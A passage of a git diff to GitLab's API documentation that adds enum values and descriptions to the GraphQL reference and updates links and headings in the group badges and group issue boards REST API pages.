@@ -13406,7 +13641,7 @@ Represents a vulnerability.
| <a id="vulnerabilitynotes"></a>`notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. (see [Connections](#connections)) |
| <a id="vulnerabilityprimaryidentifier"></a>`primaryIdentifier` | [`VulnerabilityIdentifier`](#vulnerabilityidentifier) | Primary identifier of the vulnerability. |
| <a id="vulnerabilityproject"></a>`project` | [`Project`](#project) | The project on which the vulnerability was found. |
-| <a id="vulnerabilityreporttype"></a>`reportType` | [`VulnerabilityReportType`](#vulnerabilityreporttype) | Type of the security report that found the vulnerability (SAST, DEPENDENCY_SCANNING, CONTAINER_SCANNING, DAST, SECRET_DETECTION, COVERAGE_FUZZING, API_FUZZING). `Scan Type` in the UI. |
+| <a id="vulnerabilityreporttype"></a>`reportType` | [`VulnerabilityReportType`](#vulnerabilityreporttype) | Type of the security report that found the vulnerability (SAST, DEPENDENCY_SCANNING, CONTAINER_SCANNING, DAST, SECRET_DETECTION, COVERAGE_FUZZING, API_FUZZING, CLUSTER_IMAGE_SCANNING). `Scan Type` in the UI. |
| <a id="vulnerabilityresolvedat"></a>`resolvedAt` | [`Time`](#time) | Timestamp of when the vulnerability state was changed to resolved. |
| <a id="vulnerabilityresolvedby"></a>`resolvedBy` | [`UserCore`](#usercore) | The user that resolved the vulnerability. |
| <a id="vulnerabilityresolvedondefaultbranch"></a>`resolvedOnDefaultBranch` | [`Boolean!`](#boolean) | Indicates whether the vulnerability is fixed on the default branch or not. |
@@ -13851,8 +14086,8 @@ Values for sorting alerts.
| <a id="alertmanagementalertsortseverity_desc"></a>`SEVERITY_DESC` | Severity from more critical to less critical. |
| <a id="alertmanagementalertsortstarted_at_asc"></a>`STARTED_AT_ASC` | Start time by ascending order. |
| <a id="alertmanagementalertsortstarted_at_desc"></a>`STARTED_AT_DESC` | Start time by descending order. |
-| <a id="alertmanagementalertsortstatus_asc"></a>`STATUS_ASC` | Status by order: Ignored > Resolved > Acknowledged > Triggered. |
-| <a id="alertmanagementalertsortstatus_desc"></a>`STATUS_DESC` | Status by order: Triggered > Acknowledged > Resolved > Ignored. |
+| <a id="alertmanagementalertsortstatus_asc"></a>`STATUS_ASC` | Status by order: `Ignored > Resolved > Acknowledged > Triggered`. |
+| <a id="alertmanagementalertsortstatus_desc"></a>`STATUS_DESC` | Status by order: `Triggered > Acknowledged > Resolved > Ignored`. |
| <a id="alertmanagementalertsortupdated_asc"></a>`UPDATED_ASC` | Updated at ascending order. |
| <a id="alertmanagementalertsortupdated_desc"></a>`UPDATED_DESC` | Updated at descending order. |
| <a id="alertmanagementalertsortupdated_time_asc"></a>`UPDATED_TIME_ASC` | Created time by ascending order. |
@@ -14207,6 +14442,18 @@ Weight of the data visualization palette.
| <a id="datavisualizationweightenumweight_900"></a>`WEIGHT_900` | 900 weight. |
| <a id="datavisualizationweightenumweight_950"></a>`WEIGHT_950` | 950 weight. |
+### `DeploymentTier`
+
+All environment deployment tiers.
+
+| Value | Description |
+| ----- | ----------- |
+| <a id="deploymenttierdevelopment"></a>`DEVELOPMENT` | Development. |
+| <a id="deploymenttierother"></a>`OTHER` | Other. |
+| <a id="deploymenttierproduction"></a>`PRODUCTION` | Production. |
+| <a id="deploymenttierstaging"></a>`STAGING` | Staging. |
+| <a id="deploymenttiertesting"></a>`TESTING` | Testing. |
+
### `DesignCollectionCopyState`
Copy state of a DesignCollection.
@@ -14237,6 +14484,25 @@ Type of file the position refers to.
| <a id="diffpositiontypeimage"></a>`image` | An image. |
| <a id="diffpositiontypetext"></a>`text` | A text file. |
+### `DoraMetricBucketingInterval`
+
+All possible ways that DORA metrics can be aggregated.
+
+| Value | Description |
+| ----- | ----------- |
+| <a id="dorametricbucketingintervalall"></a>`ALL` | All data points are combined into a single value. |
+| <a id="dorametricbucketingintervaldaily"></a>`DAILY` | Data points are combined into chunks by day. |
+| <a id="dorametricbucketingintervalmonthly"></a>`MONTHLY` | Data points are combined into chunks by month. |
+
+### `DoraMetricType`
+
+All supported DORA metric types.
+
+| Value | Description |
+| ----- | ----------- |
+| <a id="dorametrictypedeployment_frequency"></a>`DEPLOYMENT_FREQUENCY` | Deployment frequency. |
+| <a id="dorametrictypelead_time_for_changes"></a>`LEAD_TIME_FOR_CHANGES` | Lead time for changes. |
+
### `EntryType`
Type of a tree entry.
@@ -14257,6 +14523,8 @@ Roadmap sort values.
| <a id="epicsortend_date_desc"></a>`END_DATE_DESC` | Sort by end date in descending order. |
| <a id="epicsortstart_date_asc"></a>`START_DATE_ASC` | Sort by start date in ascending order. |
| <a id="epicsortstart_date_desc"></a>`START_DATE_DESC` | Sort by start date in descending order. |
+| <a id="epicsorttitle_asc"></a>`TITLE_ASC` | Sort by title in ascending order. |
+| <a id="epicsorttitle_desc"></a>`TITLE_DESC` | Sort by title in descending order. |
| <a id="epicsortend_date_asc"></a>`end_date_asc` **{warning-solid}** | **Deprecated** in 13.11. Use END_DATE_ASC. |
| <a id="epicsortend_date_desc"></a>`end_date_desc` **{warning-solid}** | **Deprecated** in 13.11. Use END_DATE_DESC. |
| <a id="epicsortstart_date_asc"></a>`start_date_asc` **{warning-solid}** | **Deprecated** in 13.11. Use START_DATE_ASC. |
@@ -14268,9 +14536,9 @@ State of an epic.
| Value | Description |
| ----- | ----------- |
-| <a id="epicstateall"></a>`all` | |
-| <a id="epicstateclosed"></a>`closed` | |
-| <a id="epicstateopened"></a>`opened` | |
+| <a id="epicstateall"></a>`all` | All epics. |
+| <a id="epicstateclosed"></a>`closed` | Closed epics. |
+| <a id="epicstateopened"></a>`opened` | Open epics. |
### `EpicStateEvent`
@@ -14306,7 +14574,6 @@ Event action.
| Value | Description |
| ----- | ----------- |
| <a id="eventactionapproved"></a>`APPROVED` | Approved action. |
-| <a id="eventactionarchived"></a>`ARCHIVED` | Archived action. |
| <a id="eventactionclosed"></a>`CLOSED` | Closed action. |
| <a id="eventactioncommented"></a>`COMMENTED` | Commented action. |
| <a id="eventactioncreated"></a>`CREATED` | Created action. |
@@ -14335,9 +14602,18 @@ Health status of an issue or epic.
| Value | Description |
| ----- | ----------- |
-| <a id="healthstatusatrisk"></a>`atRisk` | |
-| <a id="healthstatusneedsattention"></a>`needsAttention` | |
-| <a id="healthstatusontrack"></a>`onTrack` | |
+| <a id="healthstatusatrisk"></a>`atRisk` | At risk. |
+| <a id="healthstatusneedsattention"></a>`needsAttention` | Needs attention. |
+| <a id="healthstatusontrack"></a>`onTrack` | On track. |
+
+### `IssuableSearchableField`
+
+Fields to perform the search in.
+
+| Value | Description |
+| ----- | ----------- |
+| <a id="issuablesearchablefielddescription"></a>`DESCRIPTION` | Search in description field. |
+| <a id="issuablesearchablefieldtitle"></a>`TITLE` | Search in title field. |
### `IssuableSeverity`
@@ -14368,6 +14644,8 @@ Values for sorting issues.
| Value | Description |
| ----- | ----------- |
+| <a id="issuesortblocking_issues_asc"></a>`BLOCKING_ISSUES_ASC` | Blocking issues count by ascending order. |
+| <a id="issuesortblocking_issues_desc"></a>`BLOCKING_ISSUES_DESC` | Blocking issues count by descending order. |
| <a id="issuesortcreated_asc"></a>`CREATED_ASC` | Created at ascending order. |
| <a id="issuesortcreated_desc"></a>`CREATED_DESC` | Created at descending order. |
| <a id="issuesortdue_date_asc"></a>`DUE_DATE_ASC` | Due date by ascending order. |
@@ -14376,6 +14654,8 @@ Values for sorting issues.
| <a id="issuesortlabel_priority_desc"></a>`LABEL_PRIORITY_DESC` | Label priority by descending order. |
| <a id="issuesortmilestone_due_asc"></a>`MILESTONE_DUE_ASC` | Milestone due date by ascending order. |
| <a id="issuesortmilestone_due_desc"></a>`MILESTONE_DUE_DESC` | Milestone due date by descending order. |
+| <a id="issuesortpopularity_asc"></a>`POPULARITY_ASC` | Number of upvotes (awarded "thumbs up" emoji) by ascending order. |
+| <a id="issuesortpopularity_desc"></a>`POPULARITY_DESC` | Number of upvotes (awarded "thumbs up" emoji) by descending order. |
| <a id="issuesortpriority_asc"></a>`PRIORITY_ASC` | Priority by ascending order. |
| <a id="issuesortpriority_desc"></a>`PRIORITY_DESC` | Priority by descending order. |
| <a id="issuesortpublished_asc"></a>`PUBLISHED_ASC` | Published issues shown last. |
@@ -14433,8 +14713,9 @@ State of a GitLab iteration.
| ----- | ----------- |
| <a id="iterationstateall"></a>`all` | |
| <a id="iterationstateclosed"></a>`closed` | |
+| <a id="iterationstatecurrent"></a>`current` | |
| <a id="iterationstateopened"></a>`opened` | |
-| <a id="iterationstatestarted"></a>`started` | |
+| <a id="iterationstatestarted"></a>`started` **{warning-solid}** | **Deprecated** in 14.1. Use current instead. |
| <a id="iterationstateupcoming"></a>`upcoming` | |
### `IterationWildcardId`
@@ -14456,6 +14737,7 @@ Iteration ID wildcard values.
| <a id="jobartifactfiletypearchive"></a>`ARCHIVE` | ARCHIVE job artifact file type. |
| <a id="jobartifactfiletypebrowser_performance"></a>`BROWSER_PERFORMANCE` | BROWSER PERFORMANCE job artifact file type. |
| <a id="jobartifactfiletypecluster_applications"></a>`CLUSTER_APPLICATIONS` | CLUSTER APPLICATIONS job artifact file type. |
+| <a id="jobartifactfiletypecluster_image_scanning"></a>`CLUSTER_IMAGE_SCANNING` | CLUSTER IMAGE SCANNING job artifact file type. |
| <a id="jobartifactfiletypecobertura"></a>`COBERTURA` | COBERTURA job artifact file type. |
| <a id="jobartifactfiletypecodequality"></a>`CODEQUALITY` | CODE QUALITY job artifact file type. |
| <a id="jobartifactfiletypecontainer_scanning"></a>`CONTAINER_SCANNING` | CONTAINER SCANNING job artifact file type. |
@@ -14578,6 +14860,25 @@ Representation of whether a GitLab merge request can be merged.
| <a id="mergestrategyenummerge_train"></a>`MERGE_TRAIN` | Use the merge_train merge strategy. |
| <a id="mergestrategyenummerge_when_pipeline_succeeds"></a>`MERGE_WHEN_PIPELINE_SUCCEEDS` | Use the merge_when_pipeline_succeeds merge strategy. |
+### `MilestoneSort`
+
+Values for sorting milestones.
+
+| Value | Description |
+| ----- | ----------- |
+| <a id="milestonesortcreated_asc"></a>`CREATED_ASC` | Created at ascending order. |
+| <a id="milestonesortcreated_desc"></a>`CREATED_DESC` | Created at descending order. |
+| <a id="milestonesortdue_date_asc"></a>`DUE_DATE_ASC` | Milestone due date by ascending order. |
+| <a id="milestonesortdue_date_desc"></a>`DUE_DATE_DESC` | Milestone due date by descending order. |
+| <a id="milestonesortexpired_last_due_date_asc"></a>`EXPIRED_LAST_DUE_DATE_ASC` | Group milestones in this order: non-expired milestones with due dates, non-expired milestones without due dates and expired milestones then sort by due date in ascending order. |
+| <a id="milestonesortexpired_last_due_date_desc"></a>`EXPIRED_LAST_DUE_DATE_DESC` | Group milestones in this order: non-expired milestones with due dates, non-expired milestones without due dates and expired milestones then sort by due date in descending order. |
+| <a id="milestonesortupdated_asc"></a>`UPDATED_ASC` | Updated at ascending order. |
+| <a id="milestonesortupdated_desc"></a>`UPDATED_DESC` | Updated at descending order. |
+| <a id="milestonesortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_ASC`. |
+| <a id="milestonesortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_DESC`. |
+| <a id="milestonesortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. |
+| <a id="milestonesortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. |
+
### `MilestoneStateEnum`
Current state of milestone.
@@ -14623,6 +14924,15 @@ Negated Iteration ID wildcard values.
| ----- | ----------- |
| <a id="negatediterationwildcardidcurrent"></a>`CURRENT` | Current iteration. |
+### `NetworkPolicyKind`
+
+Kind of the network policy.
+
+| Value | Description |
+| ----- | ----------- |
+| <a id="networkpolicykindciliumnetworkpolicy"></a>`CiliumNetworkPolicy` | The policy kind of Cilium Network Policy. |
+| <a id="networkpolicykindnetworkpolicy"></a>`NetworkPolicy` | The policy kind of Network Policy. |
+
### `OncallRotationUnitEnum`
Rotation length unit of an on-call rotation.
@@ -14799,6 +15109,7 @@ Size of UI component in SAST configuration page.
| Value | Description |
| ----- | ----------- |
| <a id="securityreporttypeenumapi_fuzzing"></a>`API_FUZZING` | API FUZZING scan report. |
+| <a id="securityreporttypeenumcluster_image_scanning"></a>`CLUSTER_IMAGE_SCANNING` | CLUSTER IMAGE SCANNING scan report. |
| <a id="securityreporttypeenumcontainer_scanning"></a>`CONTAINER_SCANNING` | CONTAINER SCANNING scan report. |
| <a id="securityreporttypeenumcoverage_fuzzing"></a>`COVERAGE_FUZZING` | COVERAGE FUZZING scan report. |
| <a id="securityreporttypeenumdast"></a>`DAST` | DAST scan report. |
@@ -14813,6 +15124,7 @@ The type of the security scanner.
| Value | Description |
| ----- | ----------- |
| <a id="securityscannertypeapi_fuzzing"></a>`API_FUZZING` | |
+| <a id="securityscannertypecluster_image_scanning"></a>`CLUSTER_IMAGE_SCANNING` | |
| <a id="securityscannertypecontainer_scanning"></a>`CONTAINER_SCANNING` | |
| <a id="securityscannertypecoverage_fuzzing"></a>`COVERAGE_FUZZING` | |
| <a id="securityscannertypedast"></a>`DAST` | |
@@ -14964,6 +15276,7 @@ Name of the feature that the callout is for.
| <a id="usercalloutfeaturenameenumactive_user_count_threshold"></a>`ACTIVE_USER_COUNT_THRESHOLD` | Callout feature name for active_user_count_threshold. |
| <a id="usercalloutfeaturenameenumbuy_pipeline_minutes_notification_dot"></a>`BUY_PIPELINE_MINUTES_NOTIFICATION_DOT` | Callout feature name for buy_pipeline_minutes_notification_dot. |
| <a id="usercalloutfeaturenameenumcanary_deployment"></a>`CANARY_DEPLOYMENT` | Callout feature name for canary_deployment. |
+| <a id="usercalloutfeaturenameenumcloud_licensing_subscription_activation_banner"></a>`CLOUD_LICENSING_SUBSCRIPTION_ACTIVATION_BANNER` | Callout feature name for cloud_licensing_subscription_activation_banner. |
| <a id="usercalloutfeaturenameenumcluster_security_warning"></a>`CLUSTER_SECURITY_WARNING` | Callout feature name for cluster_security_warning. |
| <a id="usercalloutfeaturenameenumcustomize_homepage"></a>`CUSTOMIZE_HOMEPAGE` | Callout feature name for customize_homepage. |
| <a id="usercalloutfeaturenameenumeoa_bronze_plan_banner"></a>`EOA_BRONZE_PLAN_BANNER` | Callout feature name for eoa_bronze_plan_banner. |
@@ -14978,12 +15291,15 @@ Name of the feature that the callout is for.
| <a id="usercalloutfeaturenameenumpipeline_needs_banner"></a>`PIPELINE_NEEDS_BANNER` | Callout feature name for pipeline_needs_banner. |
| <a id="usercalloutfeaturenameenumpipeline_needs_hover_tip"></a>`PIPELINE_NEEDS_HOVER_TIP` | Callout feature name for pipeline_needs_hover_tip. |
| <a id="usercalloutfeaturenameenumregistration_enabled_callout"></a>`REGISTRATION_ENABLED_CALLOUT` | Callout feature name for registration_enabled_callout. |
+| <a id="usercalloutfeaturenameenumsecurity_configuration_devops_alert"></a>`SECURITY_CONFIGURATION_DEVOPS_ALERT` | Callout feature name for security_configuration_devops_alert. |
| <a id="usercalloutfeaturenameenumsecurity_configuration_upgrade_banner"></a>`SECURITY_CONFIGURATION_UPGRADE_BANNER` | Callout feature name for security_configuration_upgrade_banner. |
| <a id="usercalloutfeaturenameenumservice_templates_deprecated_callout"></a>`SERVICE_TEMPLATES_DEPRECATED_CALLOUT` | Callout feature name for service_templates_deprecated_callout. |
| <a id="usercalloutfeaturenameenumsuggest_pipeline"></a>`SUGGEST_PIPELINE` | Callout feature name for suggest_pipeline. |
| <a id="usercalloutfeaturenameenumsuggest_popover_dismissed"></a>`SUGGEST_POPOVER_DISMISSED` | Callout feature name for suggest_popover_dismissed. |
| <a id="usercalloutfeaturenameenumtabs_position_highlight"></a>`TABS_POSITION_HIGHLIGHT` | Callout feature name for tabs_position_highlight. |
| <a id="usercalloutfeaturenameenumthreat_monitoring_info"></a>`THREAT_MONITORING_INFO` | Callout feature name for threat_monitoring_info. |
+| <a id="usercalloutfeaturenameenumtrial_status_reminder_d14"></a>`TRIAL_STATUS_REMINDER_D14` | Callout feature name for trial_status_reminder_d14. |
+| <a id="usercalloutfeaturenameenumtrial_status_reminder_d3"></a>`TRIAL_STATUS_REMINDER_D3` | Callout feature name for trial_status_reminder_d3. |
| <a id="usercalloutfeaturenameenumultimate_trial"></a>`ULTIMATE_TRIAL` | Callout feature name for ultimate_trial. |
| <a id="usercalloutfeaturenameenumunfinished_tag_cleanup_callout"></a>`UNFINISHED_TAG_CLEANUP_CALLOUT` | Callout feature name for unfinished_tag_cleanup_callout. |
| <a id="usercalloutfeaturenameenumweb_ide_alert_dismissed"></a>`WEB_IDE_ALERT_DISMISSED` | Callout feature name for web_ide_alert_dismissed. |
@@ -15071,6 +15387,7 @@ The type of the security scan that found the vulnerability.
| Value | Description |
| ----- | ----------- |
| <a id="vulnerabilityreporttypeapi_fuzzing"></a>`API_FUZZING` | |
+| <a id="vulnerabilityreporttypecluster_image_scanning"></a>`CLUSTER_IMAGE_SCANNING` | |
| <a id="vulnerabilityreporttypecontainer_scanning"></a>`CONTAINER_SCANNING` | |
| <a id="vulnerabilityreporttypecoverage_fuzzing"></a>`COVERAGE_FUZZING` | |
| <a id="vulnerabilityreporttypedast"></a>`DAST` | |
@@ -15386,6 +15703,13 @@ An example `IncidentManagementOncallRotationID` is: `"gid://gitlab/IncidentManag
Represents non-fractional signed whole numeric values. Int can represent values between -(2^31) and 2^31 - 1.
+### `IntegrationsPrometheusID`
+
+A `IntegrationsPrometheusID` is a global ID. It is encoded as a string.
+
+An example `IntegrationsPrometheusID` is: `"gid://gitlab/Integrations::Prometheus/1"`.
+The older format `"gid://gitlab/PrometheusService/1"` was deprecated in 14.1.
+
### `IssuableID`
A `IssuableID` is a global ID. It is encoded as a string.
@@ -15531,12 +15855,6 @@ A `ProjectID` is a global ID. It is encoded as a string.
An example `ProjectID` is: `"gid://gitlab/Project/1"`.
-### `PrometheusServiceID`
-
-A `PrometheusServiceID` is a global ID. It is encoded as a string.
-
-An example `PrometheusServiceID` is: `"gid://gitlab/PrometheusService/1"`.
-
### `ReleasesLinkID`
A `ReleasesLinkID` is a global ID. It is encoded as a string.
@@ -15636,6 +15954,16 @@ One of:
- [`Issue`](#issue)
- [`MergeRequest`](#mergerequest)
+#### `NoteableType`
+
+Represents an object that supports notes.
+
+One of:
+
+- [`Design`](#design)
+- [`Issue`](#issue)
+- [`MergeRequest`](#mergerequest)
+
#### `PackageMetadata`
Represents metadata associated with a Package.
@@ -15804,7 +16132,7 @@ Implementations:
| <a id="memberinterfaceupdatedat"></a>`updatedAt` | [`Time`](#time) | Date and time the membership was last updated. |
| <a id="memberinterfaceuser"></a>`user` | [`UserCore`](#usercore) | User that is associated with the member object. |
-#### `Noteable`
+#### `NoteableInterface`
Implementations:
@@ -15822,8 +16150,8 @@ Implementations:
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="noteablediscussions"></a>`discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. (see [Connections](#connections)) |
-| <a id="noteablenotes"></a>`notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. (see [Connections](#connections)) |
+| <a id="noteableinterfacediscussions"></a>`discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. (see [Connections](#connections)) |
+| <a id="noteableinterfacenotes"></a>`notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. (see [Connections](#connections)) |
#### `PackageFileMetadata`
@@ -16091,7 +16419,7 @@ Field that are available while modifying the custom mapping attributes for an HT
| <a id="boardissueinputauthorusername"></a>`authorUsername` | [`String`](#string) | Filter by author username. |
| <a id="boardissueinputepicid"></a>`epicId` | [`EpicID`](#epicid) | Filter by epic ID. Incompatible with epicWildcardId. |
| <a id="boardissueinputepicwildcardid"></a>`epicWildcardId` | [`EpicWildcardId`](#epicwildcardid) | Filter by epic ID wildcard. Incompatible with epicId. |
-| <a id="boardissueinputiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of issues. For example ["1", "2"]. |
+| <a id="boardissueinputiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of issues. For example `["1", "2"]`. |
| <a id="boardissueinputiterationid"></a>`iterationId` | [`[IterationID!]`](#iterationid) | Filter by a list of iteration IDs. Incompatible with iterationWildcardId. |
| <a id="boardissueinputiterationtitle"></a>`iterationTitle` | [`String`](#string) | Filter by iteration title. |
| <a id="boardissueinputiterationwildcardid"></a>`iterationWildcardId` | [`IterationWildcardId`](#iterationwildcardid) | Filter by iteration ID wildcard. |
@@ -16245,7 +16573,7 @@ Represents an escalation rule.
| <a id="negatedboardissueinputassigneeusername"></a>`assigneeUsername` | [`[String]`](#string) | Filter by assignee username. |
| <a id="negatedboardissueinputauthorusername"></a>`authorUsername` | [`String`](#string) | Filter by author username. |
| <a id="negatedboardissueinputepicid"></a>`epicId` | [`EpicID`](#epicid) | Filter by epic ID. Incompatible with epicWildcardId. |
-| <a id="negatedboardissueinputiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of issues. For example ["1", "2"]. |
+| <a id="negatedboardissueinputiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of issues. For example `["1", "2"]`. |
| <a id="negatedboardissueinputiterationid"></a>`iterationId` | [`[IterationID!]`](#iterationid) | Filter by a list of iteration IDs. Incompatible with iterationWildcardId. |
| <a id="negatedboardissueinputiterationtitle"></a>`iterationTitle` | [`String`](#string) | Filter by iteration title. |
| <a id="negatedboardissueinputiterationwildcardid"></a>`iterationWildcardId` | [`NegatedIterationWildcardId`](#negatediterationwildcardid) | Filter by iteration ID wildcard. |
@@ -16284,7 +16612,7 @@ Represents an escalation rule.
| <a id="negatedissuefilterinputassigneeid"></a>`assigneeId` | [`String`](#string) | ID of a user not assigned to the issues. |
| <a id="negatedissuefilterinputassigneeusernames"></a>`assigneeUsernames` | [`[String!]`](#string) | Usernames of users not assigned to the issue. |
| <a id="negatedissuefilterinputepicid"></a>`epicId` | [`String`](#string) | ID of an epic not associated with the issues. |
-| <a id="negatedissuefilterinputiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of issues to exclude. For example, [1, 2]. |
+| <a id="negatedissuefilterinputiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of issues to exclude. For example, `[1, 2]`. |
| <a id="negatedissuefilterinputiterationid"></a>`iterationId` | [`[ID!]`](#id) | List of iteration Global IDs not applied to the issue. |
| <a id="negatedissuefilterinputiterationwildcardid"></a>`iterationWildcardId` | [`IterationWildcardId`](#iterationwildcardid) | Filter by negated iteration ID wildcard. |
| <a id="negatedissuefilterinputlabelname"></a>`labelName` | [`[String!]`](#string) | Labels not applied to this issue. |
diff --git a/doc/api/graphql/sample_issue_boards.md b/doc/api/graphql/sample_issue_boards.md
index 86881465ed6..68c12aa26a2 100644
--- a/doc/api/graphql/sample_issue_boards.md
+++ b/doc/api/graphql/sample_issue_boards.md
@@ -4,10 +4,10 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Identify issue boards with GraphQL
+# Identify issue boards with GraphQL **(FREE)**
This page describes how you can use the GraphiQL explorer to identify
-existing issue boards in the `gitlab-docs` documentation repository.
+existing [issue boards](../../user/project/issue_board.md) in the `gitlab-docs` documentation repository.
## Set up the GraphiQL explorer
diff --git a/doc/api/group_badges.md b/doc/api/group_badges.md
index 63ba71797fc..463507bf583 100644
--- a/doc/api/group_badges.md
+++ b/doc/api/group_badges.md
@@ -34,7 +34,7 @@ GET /groups/:id/badges
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | no | Name of the badges to return (case-sensitive). |
```shell
@@ -67,7 +67,7 @@ GET /groups/:id/badges/:badge_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `badge_id` | integer | yes | The badge ID |
```shell
@@ -97,7 +97,7 @@ POST /groups/:id/badges
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `link_url` | string | yes | URL of the badge link |
| `image_url` | string | yes | URL of the badge image |
@@ -130,7 +130,7 @@ PUT /groups/:id/badges/:badge_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `badge_id` | integer | yes | The badge ID |
| `link_url` | string | no | URL of the badge link |
| `image_url` | string | no | URL of the badge image |
@@ -163,7 +163,7 @@ DELETE /groups/:id/badges/:badge_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `badge_id` | integer | yes | The badge ID |
```shell
@@ -180,7 +180,7 @@ GET /groups/:id/badges/render
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `link_url` | string | yes | URL of the badge link|
| `image_url` | string | yes | URL of the badge image |
diff --git a/doc/api/group_boards.md b/doc/api/group_boards.md
index a0121388194..eaa7b57e520 100644
--- a/doc/api/group_boards.md
+++ b/doc/api/group_boards.md
@@ -4,16 +4,16 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Group Issue Boards API
+# Group issue boards API **(FREE)**
-Every API call to group boards must be authenticated.
+Every API call to [group issue boards](../user/project/issue_board.md#group-issue-boards) must be authenticated.
If a user is not a member of a group and the group is private, a `GET`
request results in `404` status code.
## List all group issue boards in a group
-Lists Issue Boards in the given group.
+Lists issue boards in the given group.
```plaintext
GET /groups/:id/boards
@@ -21,7 +21,7 @@ GET /groups/:id/boards
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/boards"
@@ -138,7 +138,7 @@ GET /groups/:id/boards/:board_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
```shell
@@ -252,7 +252,7 @@ POST /groups/:id/boards
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the new board |
```shell
@@ -291,7 +291,7 @@ PUT /groups/:id/boards/:board_id
| Attribute | Type | Required | Description |
| ---------------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
| `name` | string | no | The new name of the board |
| `hide_backlog_list` | boolean | no | Hide the Open list |
@@ -359,7 +359,7 @@ DELETE /groups/:id/boards/:board_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
```shell
@@ -377,7 +377,7 @@ GET /groups/:id/boards/:board_id/lists
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
```shell
@@ -428,7 +428,7 @@ GET /groups/:id/boards/:board_id/lists/:list_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
